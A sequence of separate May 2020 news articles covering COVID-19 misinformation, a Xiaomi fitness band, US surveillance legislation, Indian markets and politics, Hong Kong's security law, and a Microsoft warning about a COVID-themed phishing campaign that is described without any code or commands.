This information age has rendered information more easily available. The International Health Regulations (IHR), 2005 requiresnations to reportany diseases that may constitute public health emergencies of international concern. Yet the reality of the potential straineconomic, socio-economic, cultural, etclikely to be faced by a nationmay just tempt these nations to withhold such information, declining to comply with the IHR. This social media eramay make it harder for nations to succeed in this curtailing. The internet played a huge role in getting word of COVID-19 out.

This is not the first time the internet has been of service in this regard. The MERS coronavirus of 2012 was the source of extensive discourse on sites such as ProMED, helping garner attention for the virus. A more robust internet presenceand social media networking system, as we have now, helped substantially spread information aboutCOVID-19.Yet, there is an obvious curse attached tothis blessing. This same platform perpetuating the truth, can easily be grounds for the spread of falsehood, half-truths, conspiracy theories, and a general proliferation of fear and panic.

During the SARS outbreak, some experts criticized the Chinese government for being non-cooperative and for taking steps to hide the truth of the outbreak.The country faces similar accusations now. Some countries have gone so far as to accuse China of having grown the COVID-19 virus in a Wuhan lab. Whetherthese suspicions be true, false, or half-truths, the world finds itself too deep in the whirlwind of the virus to focus on finding immediate answersso these information hover around, with little to no substantiations accorded them, leaving each and everyone of us to believe whatever we choose to.

It was not until March 11, that WHO was finally comfortable declaring COVID-19 a pandemic. As of late February, 2020, the WHO was still insisting that it was too early to call the outbreak a pandemic. We are not witnessing the uncontained global spread of this virus, and we are not witnessing large-scale severe disease or death, the Director-General said. I remember my frustration with this, wondering how many cases and deaths we needed to see to start treating this virus with severity. But there was arguably good reason for this decision of the WHO. It was just a decade ago2009that the WHO had been accused of overreacting towards the H1N1 outbreak. One can only understand the care they took with COVID-19; yet, the reality is that prior to WHO's announcement on March 11, many countries and individuals had treated the outbreak with levity.

Trump says he is very confident that we will have a vaccine by the end of 2020. We know by now that Donald does not speak out of facts or even faith, but mostly out of turn. There is nothing wrong in hoping for the best. We must, however, do so cognizant of this fact: a vaccine for COVID-19 will take time. Even as researchers move with speed, we the lay folks will easily see, from our perspective, time moving slowly. The journey towards a vaccine and antiviral drug is a long one, plagued with many hurdles. We must be cognizant, too, of the fact that mis-informations, mistrusts, blatant falsehoods will remain rampant. And also that imperfections in our institutions (health, legal, et al) will be laid bare.

We, on our part, can do ourselves, families, countries, and the world a favour by maintaining the highest possible standards of preventive measures, and an equally high standard in our consumption of informations.

The author is the co-founder of Blarney Stone Inc. (BSI Africa)

www.blarneystoneinc.com

[email protected]
The Xiaomi Mi Band 5 is expected to arrive in June or July, and it will allegedly offer Alexa support. In addition to that, it will also offer SpO2 (blood oxygen saturation), and menstrual cycle functions, if the latest rumor is to be believed.

This information comes from the TizenHelp website, though take it with a grain of salt. The source also reports that the Xiaomi Mi Band 5 will probably arrive at the end of June, or the first half of July.

The Xiaomi Mi Band 5 is expected to include an NFC chip in its global version. Do note that the Chinese version will be first to launch, though, followed by the global unit.

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The Xiaomi Mi Band 5 will offer Alexa support, and more

The features that weve mentioned first, the Alexa support, SpO2, and menstrual cycle functions will differentiate this device from its predecessor. While it is expected to offer most of the same functions from the Mi Band 4 as well.

The Xiaomi Mi Band 5 is expected to offer a number of fitness-centric features, including the Personal Activity Intelligence (PAI). PAI turns heart rate data into a single, personal score, showing you how much activity you need to stay healthy.

The source also managed to get its hands on the early firmware from the Mi Band 5, v1.0.0.38. That also signals that the company is actively working on this smart band, and that it may launch soon.

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The Xiaomi Mi Band 4 did not have Alexa support, so that will be one major change with this new model. Presuming that the leaked information is correct, of course.

Xiaomi only included its own voice assistant into the Mi Band 4, and it was available only in China. Things will change with the Mi Band 5, at least when it comes to its global model.

Xiaomis fitness trackers managed to become quite popular over the years

Xiaomis Mi Band fitness trackers managed to become quite popular over the years. They offer a lot for the price, thats for sure. These are amongst the most affordable fitness trackers, especially when it comes to big brands.

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Xiaomi had sold tons of Mi Bands over the years, and the Mi Band 5 is expected to be a success, even before its release. The device will include a color display, quite probably an OLED one.

Chances are that the design will be at least somewhat similar to the Mi Band 4. We did not see it yet, though, so we are only guessing at this point. The device will ship with a silicone band, almost certainly.

More Xiaomi Mi Band 5 information will probably surface in the near future. The closer we get to its release date, the more information will arrive.
Just being able to calmly purchase toilet paper feels like reason enough to celebrate these days. But one thing a lot of people wont be cracking champagne over this month is the renewal of the Patriot Act/USA Freedom Act  and its terrible inclusion of a provision to allow government collection of Americans internet browsing and search histories without a warrant.

That is, if Congress gets its collective shit together and passes it to the Oval Office for a signature. Right now, the Act has crossed the Senate and is going back to the House, with a fight over amendments already boiling over.

Yet, it was the one amendment that didnt pass which has privacy fans ready to break their champagne bottles on a rock and use them as shivs. That amendment, from Senator Ron Wyden, would have specifically excluded internet browsing and search history from what the government is allowed to collect.

Wydens amendment would have countered Senate GOP Majority Leader Mitch McConnells amendment, which will expressly permit the FBI to warrantlessly collect records on Americans web browsing and search histories, reported Daily Beast with the scoop. The outlet added, In a different amendment, McConnell also proposes giving the attorney general visibility into the accuracy and completeness of FBI surveillance submissions to the secret Foreign Intelligence Surveillance Act (FISA) Court.

To recap: McConnell added warrantless surveillance of Americans browsing and search, Wyden countered it with the Senate version of LOLNO, and then Wydens amendment failed by just one vote. Engadget senior editor Richard Lawler pointed out that Washington senator Patty Murray would have voted yes, but was still flying back to D.C. when the votes were cast.

Under the McConnell amendment, Barr gets to look through the web browsing history of any Americanincluding journalists, politicians, and political rivalswithout a warrant, just by saying it is relevant to an investigation, Wyden told Daily Beast.

Yuri Gripas / Reuters

Citing the Wyden-Daines amendment, Rep. Zoe Lofgren said that its now the Houses responsibility to curb this violation of Americans rights, Politico reported. I know its still within our grasp as lawmakers to push for the significant privacy reforms we need.

Because we have enough past experience that this kind of surveillance will be abused, and accountability, like Elvis, has left the Capitol building, the pushback on 2020s version of NSA-PRISM is big enough to almost allow us a decadent sliver of hope. Organizations from the ACLU and DuckDuckGo to HumanRightsWatch and the NAACP have asked lawmakers (including Speaker Pelosi) to urgently add Wydens changes.

All of this is why you probably saw a bunch of histrionic headlines fly by saying the US government was going to play collect-them-all with our searches for how to get off this planet and our visits to websites about how to become an expat and not catch COVID-19 in ten easy steps. They werent wrong. But there are some interesting things you should know about how this kind of collection will probably be done.

Youre not alone if you instantly envisioned a giant NSA/FBI data warehouse in the middle of some ominous Fallout desert scene, where all of the countrys (and probably the worlds) phone calls were being Hoovered up and stored. So much data that its searched by agents and AI, sadly dispelling everyones favorite, the personal FBI agent meme.

This is probably the same fantasy some of the internet data surveillance ghouls are salivating over right now  Facebook-level access to our internet lives (Facebook being just a different flavor of slobbering ghouls). But why do the (surveillance) work when others have done it for you? Im sure McConnell and company are thinking of it like how theyve seen humans on TV simply go to the store for whatever it is that humans eat and drink. In this case the stores would be Google, Apple, Microsoft, and everyone else who has authorities showing up with warrants for internet search and browsing data. Just go to Big Browser! Theyll have whatcha need.

Those channels are already there: they are among the same government spying and data surveillance/collection problems for consumers and at-risk groups that existed before. Right now, theres a step that must be satisfied unless those authorities want to be turned away by the people at those companies whose jobs it is to look at a warrant and say yes this warrant is acceptable or nice try pal, this is not what you say it is. (All of which ends up essentially paraphrased in company transparency reports.)

As Patriot Act/USA Freedom stands now, this step would be removed.

oxinoxi via Getty Images

Interestingly, one Big Browser company has a feature thats a useful tool in this context. Like the way Apple cant read your iPhones data (specifically, Apple cant decrypt it), Google can only share what it can read. You can password protect your Chrome data by following the instructions here.

Anyway, to validate the concerns a lot of you are having about your surveillance and privacy defenses, its important to know that the company running your browser goes on your Patriot Act 2020 adversary list. Even though, in this instance, companies like Apple and Google (etc.) are the ones having changes forced on them -- putting them in a position thats sure to destroy user trust at scale. Engadget reached out to Apple and Google for comment on this matter and did not receive a response by time of publication.

Now, I know some of you are reading and saying, thats it, Im just going to use DuckDuckGo from now on, I know for a fact they oppose this and theyve got my back. DuckDuckGo, a VPN, and a full-body condom ought to do it. Except youll need a VPN that already doesnt cooperate with FISA warrants. Its possible. Interestingly, NordVPNs Warrant Canary has strong language stating it has never handed over user data. But to order those body condoms, you still need internet access.

Thats why your internet service provider (ISP) should probably go higher on your Patriot Act 2020 adversary list than Big Browser. Last year, the Federal Trade Commission launched an investigation into AT&T, Comcast, Google Fiber, T-Mobile, and Verizon after T-Mobile, Sprint, and AT&T were selling their mobile customers location information to third-party data brokers despite promising not to do so, according to Ars Technica. And in case you didnt know the background on it, the EFF proved in court that Verizon Wireless, Sprint and AT&T [participated] in the NSAs mass telephone records collection under the Patriot Act.

(If you want to get into the details of ISPs, DNS, and protecting data in that context, check out what Mozilla is trying to do in The Facts: Mozillas DNS over HTTPs)

In infosec lingo, when it comes to Patriot Act 2020, your ISP is an attacker in a privileged position. And right now we depend on the internet for, well, almost our very lives. Lives which require privacy  a human right.

2020 is many things, and one of those things seems to be an agonizingly long version of the infamous Leave Britney Alone video, except its us, and were at the tear-streaked breaking point over our data privacy. Now that were essentially trapped online most of our waking hours, we feel more used, stressed, poked, prodded, extorted, angry, tricked, and helplessly subjected to violations about our data than ever. Its exhausting at a time when everything seems exhausting.

For now, we can focus on how to control the things we can, like doing privacy self-checks or take inventory of app settings. We get to know tools like VPNs and start to use things that end-to-end encrypt our communications -- we practice doing things that shore up our defenses a bit more than before.

While we do that, well have to flex one of the less popular survival skills -- we wait. The ghastly changes to the Patriot Act, a thing that was already a shambling disaster of failed protections and rights violations, may still face a challenge or two before getting an Oval Office signature. Though even if McConnells amendment doesnt squeak through this time, we now know that lawmakers at the top want an unprecedented, Facebook-level of spying and control over our online lives.

We just thought that trajectory was the stuff of implausible video games and far-out films -- which, turns out, are a lot less entertaining to live through.
Maharashtra Home Minister Anil



Deshmukh on Friday accused the BJP of being "ready to risk lives of children" during the opposition party's protest over the state government's handling of the coronavirus crisis.

Deshmukh tweeted a picture which showed a group of children purportedly taking part in the protest, holding BJP flags and protest placards, but some of them with the face mask removed.

"@BJP4Maharashtra is ready to risk the lives of children for its political gains. This shows how much they care for the people," the NCP leader said.

Safety should be given priority over politics at this juncture, Deshmukh said, using the hashtag "MaharashtradrohiBJP" (anti-Maharashtra BJP).

State NCP spokesperson Clyde Crasto took a swipe at the BJP through a cartoon.

The saffron party had asked its workers to wear black masks during the protest. The cartoon showed a man, supposedly a BJP worker, with a black lotus on his shoulders instead of the head, taking part in the protest standing in a balcony.

"Truth cannot be shrouded by fake protests. Odour is emanating from black flowers," read the cartoon's caption.

Former chief minister Devendra Fadnavis on Friday led the opposition party's state-wide protest against the "failure" of the Shiv Sena-Congress-NCP government to contain the pandemic.

Fadnavis and other BJP leaders including Vinod Tawde and Mumbai BJP president Mangal Prabhat Lodha held a protest at the party's office at Nariman point, holding placards in hands and sporting black masks and black ribbons.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
He brought his family to Washington and settled into a house on Sherman Circle, in Petworth, where he would live for most of his life. He would often walk the seven miles from there to his catering jobs in Georgetown, his granddaughter said.
Police in the Philippines have raided multiple illegal hospitals in recent weeks that have reportedly been secretly treating Chinese patients with the coronavirus and other diseases.

Why it matters: These facilities not only pose health risks, they've also shed light on the industry many of the patients worked in: offshore gambling.

Driving the news: In May, police raided a leisure park and casino in Clark, the site of a former U.S. air base northwest of Manila. There they found a converted seven-bed hospital and drug store.

The suspected owner and pharmacist were arrested, while a Chinese patient was transferred to a hospital.

Many of the clients reportedly belong to the area's Chinese community and work in online gambling.

More than 200 suspected coronavirus rapid test kits and syringes were recovered from trash cans at the villa, per the AP.

Clark officials have ordered a full lockdown of Fontana Leisure Park, saying: This illegal activity not only violates the law, but also poses danger to individuals who potentially need medical treatment for the deadly disease.

In April, authorities raided another illegal Chinese clinic in the city of Paranaque.

Treatment beds, IV stands, and unregistered Chinese drugs  reportedly for sexually transmitted diseases, dengue, and COVID-19  were found inside the unsanitary clinic, according to city officials.

Apparently they treat their own. Many witnesses see Chinese nationals getting medicines, going in and out wearing dextrose, said Dr. Olga Virtusio of Paranaque City Health Center.

This facility also was also reportedly treating Chinese nationals who work in online gambling.

Big picture: Philippine offshore gaming operators cater to gamblers in China, where gambling is illegal. They employ tens of thousands of Chinese nationals, most of them undocumented.
Key benchmark indices extended losses in mid-morning trade. At 11:28 IST, the barometer index, the S&P BSE Sensex, was down 346.39 points or 1.12% at 30,586.51. The Nifty 50 index was down 101.85 points or 1.12% at 9,004.40.

Banks and financial stocks tumbled after the RBI governor Shaktikanta Das further extended the loan repayment moratorium for another three months up to 31 August. The EMI payments will restart only once the moratorium period expires on 31 August.

RBI also announced a 40 basis points rate cut in an off-cycle MPC meeting. The repo rate stands at 4% and the reverse repo rate now stands at 3.35%. The central bank also maintained an 'accommodative' stance.

Das said that the GDP growth in India in 2020-21 is estimated to remain in the negative territory with a pick up in growth impulses in second half. However, these depend on the trajectory of the pandemic.

In the broader market, the S&P BSE Mid-Cap index was off 0.89% while the S&P BSE Small-Cap index shed 0.42%.

The market breadth was negative. On the BSE, 685 shares rose and 1167 shares fell. A total of 118 shares were unchanged.

Foreign portfolio investors (FPIs) sold shares worth Rs 258.73 crore, while domestic institutional investors (DIIs), were net buyers to the tune of Rs 401.78 crore in the Indian equity market on 21 May, provisional data showed.

Axis Bank (down 4.91%), ICICI Bank (down 4.27%), HDFC (down 4.17%), Bajaj Finance (down 4.08%), IndusInd Bank (down 2.87%) and HDFC Bank (down 1.02%) were major losers.

Asian Paints (up 2.78%), TCS (up 0.96%), Tech Mahindra (up 0.82%), Titan Company (up 0.32%) and Hindustan Unilever (up 0.26%) bucked weak market trend.

Buzzing Index:

The Nifty IT index rose 1.24% to 13,817.80, extending gains for fifth day. The index has added 4.70% in five sessions.

MindTree (up 1.28%), Tech Mahindra (up 0.79%), TCS (up 0.32%), MphasiS (up 0.2%) and Wipro (up 0.05%) advanced.

Hexaware Technologies (down 1.78%), HCL Technologies (down 1.01%), Oracle Financial Services Software (down 0.61%), Persistent Systems (down 0.15%) declined.

Infosys rose 2.57% to Rs 689.25 after a class action lawsuit filed against the IT major and some of its employees in the United States District Court stands dismissed.

In October 2019, a class action lawsuit was filed in the United States District Court against Infosys and certain of its current and former officers. The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the company's publicly traded securities between 7 July 2018 and 20 October 2019, and alleged claims for violations of the US federal securities laws. On 21 May 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice.

The Schall Law Firm, a shareholder rights litigation firm based in Los Angeles, had filed the complaint alleging that CEO Salil Parekh skipped standard reviews of large deals to avoid accounting scrutiny.

After unveiling Q3 results in January 2020, Infosys announced conclusion of the independent investigation into allegations contained in the anonymous whistleblower complaints disclosed earlier. The audit committee determined that the allegations are substantially without merit. It concluded that no restatement of previously announced financial statements or other published financial information is warranted.

Stocks in Spotlight:

Reliance Industries (RIL) gained 1.15% to Rs 1,456.55. RIL said that KKR will invest Rs 11,367 crore into Jio Platforms. The transaction values Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. RIL said this is KKR's largest investment in Asia and will translate into a 2.32% equity stake in Jio Platforms on a fully diluted basis.

Over the last one month, leading technology investors, such as Facebook, Silver Lake, Vista, General Atlantic and KKR have announced aggregate investments of Rs 78,562 crore into Jio Platforms. KKR is making the investment from its Asia private equity and growth technology funds.

Emami slipped 0.45% to Rs 209. Competition Commission of India (CCI) on Thursday said it has approved the proposed acquisition of Emami Cement by Nuvoco Vistas Corporation, which is a Nirma promoter group company. The proposed combination pertains to the acquisition of 100% of the total issued and paid up share capital of Emami Cement (ECL), on a fully diluted basis by Nuvoco Vistas Corporation (NVCL).

Global Markets:

Overseas, Asian stocks are trading lower on Friday with Hong Kong's Hang Seng index plunging nearly 6%.

China is poised to impose a new national security law on Hong Kong after months of anti-government protests in the territory. The move has sparked concerns the law will give Beijing more control over Hong Kong and incite further pro-democracy protests.

Details of the draft legislation were announced Friday when China's National People's Congress (NPC) the country's parliament held its annual session. The laws would reportedly ban secession, foreign interference, terrorism and all seditious activities aimed at toppling the central government and any external interference in the former British colony.

In US, Wall Street ended lower on Thursday, on a fresh wave of China-US tensions that raised doubts about the trade deal reached early this year between the world's two largest economies.

The losses also came amid data that showed jobless claims reached 2.4 million for the week that ended on Saturday because of the coronavirus pandemic. The latest data pushed the figure's nine-week total to nearly 39 million, surpassing the 37 million Americans who filed for unemployment insurance during the 18-month Great Recession.

Markets were on the back foot after the Senate passed a bill aiming to delist Chinese companies from American exchanges. The Senate passed a bill aiming to delist Chinese companies from American exchanges. Lawmakers and the White House have repeatedly raised concerns about US-listed firms that may be under Chinese government control or receiving capital from state funds.

That measure was passed after President Donald Trump said in a tweet that the incompetence of China caused this mass Worldwide killing, referring to the coronavirus.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
U.S. Senate education committee Chairman Lamar Alexander on Thursday spoke with about 90 higher education presidents from across Tennessee about how to go back to school safely in August.

He said, The surest sign we're beginning to regain the rhythm of American life will come when our 70 million students go back to school and back to college. And across the country, administrators at around 6,000 colleges and 100,000 public schools are working overtime to make that happen.



I just got off the phone with about 90 higher education presidents from Tennessee. We have 127 such institutions of higher education, and all of them are planning to resume in-person classes in August. They're all planning to go back, and they're all beginning to use a variety of techniques to make sure that the campus is safe.



For example, some schools have mentioned plans to go back in early August for the first semester and end before Thanksgiving so students can avoid two trips home for the holiday season. Vanderbilt University has already said students will be wearing masks in classrooms. Therell be new spacing arrangements, spreading out classes, staggering times, flu shots, pneumonia shots, and having half the administrative workers work from home. The University of Tennessee has already set aside whole dormitories for someone who might be infected.



Of course, all roads back to school lead through testing, and fortunately, it looks like were going to have a lot of tests in August and September  we expect to have the capacity to do 40 to 50 million tests in the U.S. in September, which is 4-5 times as many as we have today.



Universities and schools think of themselves as micro cities, and they have a chance to show that with wise leadership they can help those little cities become among the safest places to live and work in our country during the next year. And if they are able to do that, they will help us take one of the biggest steps we could possibly take back toward normalcy.



The concerns that came back to me in our call were three things. One, every president asked about liability. They don't want to be sued if they reopen their school and a student gets sick. And I told them that Senator McConnell has said, and I believe every Republican Senator agrees, and I hope many Democrats do as well, that we won't pass another COVID-19 bill unless it has some liability protection for colleges and schools as well as businesses and others who are trying to reopen and help our country get back to normal. The second question we heard a lot about was testing. And third, I heard comments from presidents who would like to have more flexibility in any funding that we provide for colleges and in the funding that we've already provided.


YEREVAN, 22 MAY, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 22 may, USD exchange rate up by 0.31 drams to 481.99 drams. EUR exchange rate down by 3.13 drams to 524.94 drams. Russian Ruble exchange rate down by 0.08 drams to 6.71 drams. GBP exchange rate down by 2.28 drams to 586.77 drams.

The Central Bank has set the following prices for precious metals.

Gold price down by 345.19 drams to 26729.63 drams. Silver price down by 3.94 drams to 266.61 drams. Platinum price up by 116.88 drams to 13187.38 drams.
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Financial aid allocated in 2019 to students in China's various education institutions, from kindergartens to universities, amounted to 212.6 billion yuan (about 30 billion U.S. dollars), up 4.07 percent year-on-year, the Ministry of Education said on Thursday.

This marked growth for a 13th consecutive year, according to the ministry.

Of that, financial aid to students in China's higher education institutions amounted to around 131.7 billion yuan last year.

Data from the ministry showed that a total of 105.9 million students in China were offered financial aid in 2019, up 8.05 percent year-on-year.
DALLAS, May 22, 2020 /PRNewswire/ -- Kimberly-Clark Corporation (NYSE: KMB) today announced that Gustavo Ghory has been named Senior Vice President and Chief Supply Chain Officer, effective July 1, 2020.

Ghory will have global responsibilities for procurement, manufacturing, transportation, continuous improvement, sustainability, and quality, safety and regulatory operations. Ghory will report to Mike Hsu, Chairman and Chief Executive Officer of Kimberly-Clark, and become a member of the company's executive leadership team.

"Gustavo is an outstanding global leader and I am confident that his extensive experience will help us improve the value we deliver from our world class global supply chain operations," said Hsu.

Ghory joins Kimberly-Clark with more than 35 years of deep experience within the consumer products goods industry, spanning several key senior leadership roles at Procter and Gamble and most recently at SmarterChains, a technology leader focused on creating agile manufacturing operations for manufacturers around the world.

About Kimberly-Clark

Kimberly-Clark and its trusted brands are an indispensable part of life for people in more than 175 countries. Fueled by ingenuity, creativity, and an understanding of people's most essential needs, we create products that help individuals experience more of what's important to them. Our portfolio of brands, including Huggies, Kleenex, Scott, Kotex, Cottonelle, Poise, Depend, Andrex, Pull-Ups, GoodNites, Intimus, Neve, Plenitud, Viva and WypAll, hold the No. 1 or No. 2 share position in 80 countries. We use sustainable practices that support a healthy planet, build stronger communities, and ensure our business thrives for decades to come. To keep up with the latest news and to learn more about the company's 148-year history of innovation, visit kimberly-clark.com or follow us on Facebook or Twitter.

[KMB-F]

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SOURCE Kimberly-Clark Corporation

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(Photo : Sebastian Herrmann/Unsplash) person using black laptop

Microsoft has issued a warning about a huge phishing campaign about COVID-19 that installs the NetSupport Manager administration tool, takes over the user's system, and then remotely executes commands on the computer.

Were tracking a massive campaign that delivers the legitimate remote access tool NetSupport Manager using emails with attachments containing malicious Excel 4.0 macros. The COVID-19 themed campaign started on May 12 and has so far used several hundreds of unique attachments. pic.twitter.com/kwxOA0pfXH  Microsoft Security Intelligence (@MsftSecIntel) May 18, 2020



Microsoft warns about COVID-19 phishing emails during coronavirus pandemic

In a series of tweets, the Microsoft Security Intelligence team provided details on the scheme in which user's devices are infected with remote access trojan (RAT) malware using malicious Excel attachments.

As reported by TechRadar, Criminals send potential victims a pseudo-email from John Hopkins Center which claims to update victims with the number of coronavirus-related deaths in the US. Attached to the email is an Excel file that displays a chart showing the number of deaths in the US, which then prompts users to "Enable Content." And then the file's malicious macros would remotely download and install the NetSupport Manager client.

The emails purport to come from Johns Hopkins Center bearing "WHO COVID-19 SITUATION REPORT". The Excel files open w/ security warning & show a graph of supposed coronavirus cases in the US. If allowed to run, the malicious Excel 4.0 macro downloads & runs NetSupport Manager RAT. pic.twitter.com/gXbxZOGpZf  Microsoft Security Intelligence (@MsftSecIntel) May 18, 2020

The Microsoft Security Intelligence team explained in a tweet that all Excel files used in the campaign connect to the same URL. The tweet said: "NetSupport Manager is known for being abused by attackers to gain remote access to and run commands on compromised machines."

NetSupport Manager is a legitimate remote administration tool but is a favorite by hackers who use it as a RAT. If the NetSupport Manager is installed on the computer, hackers gain complete control over the device and remotely perform commands on it. The RAT will further compromise the victim's computer by installing extra tools and scripts.

Meanwhile, phishing campaign victims should take extra caution as their data has been already compromised. They should have the devices wiped clean and change all of their passwords.

Hackers taking advantage of employees working from home

Last month, Microsoft warned about a significant spike in COVID-19 related phishing attacks on pandemic hotspots that include China, the US, and Russia. A similar increase was also seen in Japan, Latin America, Europe, and other Asia Pacific nations.

Microsoft experts claim this trend is due to increased remote working around the world.

Microsoft's Corporate Vice-President for Cybersecurity Solutions Group Ann Johnson said they are blocking about 24,000 phishing emails daily and have seen 116 pandemic-related scams.

Johnson also said her group has seen "about 2,300 unique HTML attachments themed as COVID financial compensation in one campaign alone" while they were able to block 18,000 coronavirus-themed URLs and IP addresses in a day.

Although the security group claimed that there was no overall increase in phishing attacks, Johnson said these scams have changed "to be more COVID-19 related."

Meanwhile, Barracuda researchers reported that from March 1 to March 23, they detected a total of 467,825 spear-phishing email attacks, 9,116 of which are linked to COVID-19. This is a big leap to just 1,188 COVID-19-related emails detected in February and 137 in January.

Despite the increase in attacks, Johnson confidently said the company is prepared to combat these security threats.

"We have a lot of technologies to help protect customers and block attacks through machine learning by using 8 trillion data threat signals per day to understand what is good and what is bad," Microsoft's security chief said.

Johnson also urged the authorities and end-users to raise awareness about how to keep their devices secured. She also advised users not to click on any questionable links while enabling multi-factor authentication, which is "one way to block the harm during the crises."

Read also: Bluetooth Devices Numbering the Billions are Vulnerable to BIAS Hacks; Study Finds

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
China is poised to pass a national security law for Hong Kong that the city's opposition lawmakers, analysts and U.S. officials say could plunge the semi-autonomous territory into its deepest turmoil since it returned to Chinese rule in 1997 and exacerbate already coronavirus-strained tensions between Washington and Beijing.

The draft law bans "treason, secession, sedition and subversion." It was submitted Friday at China's National People's Congress, an important annual political event where legislation already approved by China's ruling Community Party is rubber-stamped.

Full details of the law have not been released. However, critics say it will curb freedoms and puts Hong Kong's pro-democracy activists on a dangerous collision course with China's central government in Beijing. Supporters and Chinese officials, such as Zhang Yesui, a spokesman for the National People's Congress Foreign Affairs Committee, argue it is "highly necessary in light of new circumstances" in Hong Kong.

Pro-democracy lawmakers hold placards to protest against pro-Beijing lawmakers at Hong Kong's Legislative Council on May 22, 2020.

The motion is fueling concern among activist lawmakers.

"It's the saddest day in Hong Kong's history," Tanya Chan, a Hong Kong pro-democracy legislature, speaking told reporters outside the city's parliament.

"It's the end of 'one country, two systems,'" said Dennis Kwok, another pro-democracy lawmaker, referring to the policy that has governed Hong Kong since it returned to Chinese control after a century and a half of British colonial rule.

"One country, two systems" was intended to make sure that capitalist Hong Kong retained a measure of legal, economic and financial independence from socialist mainland China but the principle has come under intensifying pressure as Beijing has taken steps to bring the territory under full Chinese control. Hong Kong was rocked last year by almost six months of violent anti-China, pro-democracy protests as Beijing sought to tighten its grip on Hong Kong by imposing an extradition law to China.

Story continues

Protest tech: Hong Kong protesters create VR simulation showing view from frontline

China has also evolved to have a more nuanced economic system that draws from its socialist roots but incorporates aspects of western-style commercialism.

Hong Kong's leader Carrie Lam said Friday her government would cooperate with Beijing to enact the law and that it would not substantially affect civil liberties for the city's 7.5 million inhabitants. Still, China experts said the move is likely to trigger fresh protests and demands for democratic reforms that yield more independence from China.

"The reaction in Hong Kong could be intense, and violent," wrote Bill Bishop in his daily Sinocism Newsletter on Friday. Bishop's newsletter focuses on China's political and business affairs, and U.S-China relations. "The two central government leaders (Chinese President) Xi installed a few months ago to manage Hong Kong affairs are hardened CCP (Chinese Communist Party) cadres, and there are already few restraints to the behavior of the Hong Kong security services," he said.

President Donald Trump, who has berated Beijing over its handling of the coronavirus outbreak and has made anti-China rhetoric an increasing theme of his reelection message, said Thursday his administration would come down hard against any attempt by China to gain more control over the ex-British colony.

"Nobody knows yet" the details of China's plan or what it intends to do, he said. But "if it happens we'll address that issue very strongly," Trump said, without specifying potential U.S. actions. However, Democratic and Republican U.S. senators said they would consider introducing legislation to impose sanctions on Chinese officials.

Trump: High number of coronavirus cases in U.S. is a 'badge of honor'

"A further crackdown from Beijing will only intensify the Senates interest in re-examining the U.S.-China relationship," U.S. Senate Majority Leader Mitch McConnell, a Republican, said in a statement. Morgan Ortagus, a spokeswoman for the U.S. State Department, said any move by China to impose legislation that did not reflect the will of the people would be highly destabilizing and met with strong U.S. condemnation.

"The decision to bypass Hong Kong's well-established legislative processes and ignore the will of the people of Hong Kong would be a death knell for the high degree of autonomy Beijing promised for Hong Kong," Secretary of State Mike Pompeo said in a statement on Friday.

Allen Carlson, an expert on Chinese politics at Cornell University, said China's move to adopt the law is consistent with the Chinese governments approach to areas it considers restive  and claims as part of its national territory  such as Tibet and Xinjiang, an autonomous region in China's far west that has had a long history of discord between the authorities in Beijing and indigenous ethnic Uighurs, a Muslim population.

More than a million Muslims have been detained and persecuted in China's Xinjiang Province, according to human rights groups. China disputes the allegations.

"Such an approach will likely cement Chinese control over each of these contested areas, but also solidify opposition to such rule in a manner that will then generate further instability, and, cast a dark shadow over all of China in the years to come," Carlson said.

News that China intends to impose the national security law on Hong Kong sent the city's benchmark stock index tumbling Friday. The Hang Seng index closed down 5.6%, marking its worst one-day performance in nearly five years. Investors were concerned over what the policy action could mean for the Asian financial hub's future. Trump's harsh rhetoric on China was also pressuring sentiment on Wall Street.

Still, Andy Mok, a fellow at the Center for China and Globalization, a public policy think tank based in Beijing, said the measures unveiled by China "address a significant danger facing Hong Kong." Chinese officials and state-owned media have previously accused the U.S. of meddling in its affairs in Hong Kong for ideological reasons.

"The disruption and economic loss caused by foreign-instigated rioting last year was considerable and cannot be allowed to continue," he said.

"By tackling the problem at the (National People's Congress) China has demonstrated its commitment to honoring its commitment to 'one country, two systems' while acting decisively to counter the threats to Hong Kong."

This article originally appeared on USA TODAY: Hong Kong: Fresh turmoil as China set to impose national security law
Georgia authorities on Thursday arrested a third person connected to the fatal shooting of Ahmaud Arbery, the black 25-year-old jogger whose family says he was killed in February after being pursued two white men in a pickup truck.

The Georgia Bureau of Investigation arrested William "Roddie" Bryan, 50, who recorded the graphic mobile phone video of Arbery's death that was leaked earlier this month. He is charged with felony murder and criminal attempt to commit false imprisonment.

William "Roddie" Bryan, the man who videoed the death of Armaud Arbery, has been arrested and charged with murder. Credit:AP

Bryan's arrest comes two weeks after the bureau apprehended Gregory McMichael, 64, and Travis McMichael, 34, who confronted Arbery with firearms while he was out running February 23. Both McMichaels were charged with murder and aggravated assault, and the bureau has confirmed that Travis McMichael shot and killed Arbery during the encounter.

Video of Arbery's killing sent shock waves through the coastal community of Brunswick and enraged racial equality advocates across the United States, leaving many to wonder why it took more than two months for the McMichaels to be arrested.
WASHINGTON - Lawmakers are criticizing Delta Air Lines and JetBlue for plans to cut employee hours, despite receiving more than $5 billion in government support as part of the federal coronavirus relief package.

In letters sent this week to the airlines' chief executives, more than a dozen senators wrote that plans to reduce employee hours violate the intent of the Payroll Support Program that was established as part of the $2 trillion Cares Act.

"Your decision to cut employee hours is inconsistent with congressional intent and is a blatant and potentially illegal effort to skirt you requirements to keep workers on payroll, and you should reverse this policy immediately," the senators wrote.

Under the Cares Act, U.S. airlines were eligible to receive more than $50 billion in grants and loan. Of that, $25 billion was in the form of grants that were to be used to keep front line workers such as flight attendants, pilots and mechanics on the job. In exchange for receiving the money, airlines had to agree to a number of conditions, including keeping workers on the job through Sept. 30.

Delta received more than $5 billion in grants as part of the program; JetBlue received $935 million.

But since the money began flowing, airlines and lawmakers have been at odds over the intent of the law.

United Airlines was the first to run afoul of lawmakers after it unveiled plans to reduce hours for some employees. The International Association of Machinists and Aerospace Workers, which represents the workers, sued the airline saying the reductions violated their contract and the Cares Act. The airline eventually backed away from the plan, making the reductions voluntary.

